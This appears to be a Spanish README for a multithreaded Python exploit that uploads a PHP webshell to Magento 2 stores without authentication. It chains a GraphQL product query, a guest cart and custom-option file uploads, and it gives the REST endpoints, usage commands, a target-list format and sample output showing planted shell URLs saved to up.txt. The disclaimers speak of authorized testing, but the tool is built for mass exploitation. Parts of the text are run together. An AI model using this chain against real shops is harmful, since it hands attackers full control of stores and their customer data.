
Magento 2 Exploit de RCE no autenticado: sube un webshell PHP mediante la búsqueda de productos por GraphQL y las opciones personalizadas del carrito de invitados. Multihilo, detecta automáticamente el SKU y guarda las URL de shells activos en up.txt. Solo para pruebas de seguridad autorizadas.
⚠️ Esta herramienta es solo para pruebas de seguridad educativas y autorizadas. El uso no autorizado contra sistemas que no te pertenecen es ilegal.
Este exploit apunta a una vulnerabilidad crítica de ejecución remota de código (RCE) no autenticada en Magento 2 (Adobe Commerce). Al encadenar la consulta de productos GraphQL, la creación de un carrito de invitado y la carga de un archivo malicioso mediante opciones de producto personalizadas, un atacante puede subir un webshell PHP y obtener ejecución arbitraria de código en el servidor objetivo.
La vulnerabilidad permite a un atacante remoto escribir un archivo PHP en el sistema de archivos del servidor y luego acceder a él para ejecutar comandos del sistema, leer/escribir archivos y comprometer por completo la instalación de Magento.
Shinday)up.txt/graphql./rest/default/V1/guest-carts para obtener un ID de carrito./rest/default/V1/guest-carts/{cart_id}/items con un webshell PHP codificado en base64 como archivo de opción personalizada./pub/media/custom_options/quote/... o /media/custom_options/quote/....Shinday está en la respuesta.up.txt.Queue, unicode y otros módulos específicos de Python 2)requests, urllib3Instala las dependencias:
pip install requests urllib3
python exploit.py <list.txt>
<list.txt> – archivo que contiene las URL base de los objetivos (una por línea), con o sin http:///https://.https://example.com
http://shop.test
magento2.target.net
up.txt en el directorio actual.python exploit.py targets.txt
[*] Total targets: 5
[*] Start time: 2025-03-15 12:00:00
[*] Starting 5 threads...
[Thread 1] Processing: https://example.com
[+] SKU : 24-WG080
[+] CART : 8f7c3e9a-1b2f-4d5e-9a8b-7c6d5e4f3a2b
[+] Upload Status : 200
[+] Webshell terpasang: https://example.com/pub/media/custom_options/quote/a1/b2/shell_xyz.php
[✓] Saved to up.txt: https://example.com/pub/media/custom_options/quote/a1/b2/shell_xyz.php
El archivo PHP subido es un simple administrador de archivos (nombrado como xxxxx_shin.php) que responde a las solicitudes con un explorador de archivos basado en web. Contiene el marcador único Shinday que el script utiliza para verificar que la carga se realizó correctamente.
No dejes este shell en un sistema después de las pruebas: límpialo inmediatamente.
/media/custom_options/ en busca de archivos PHP inesperados.Este software se proporciona solo con fines educativos y de pruebas de penetración autorizadas. Los autores no son responsables de ningún uso indebido o daño causado por esta herramienta. Debes obtener permiso explícito por escrito del propietario del sistema antes de ejecutar este exploit contra cualquier objetivo. El acceso no autorizado a sistemas informáticos es un delito en la mayoría de las jurisdicciones.
Puedes ver más avisos en la portada de Jenderal92. Puedes consultarlo AQUÍ !!!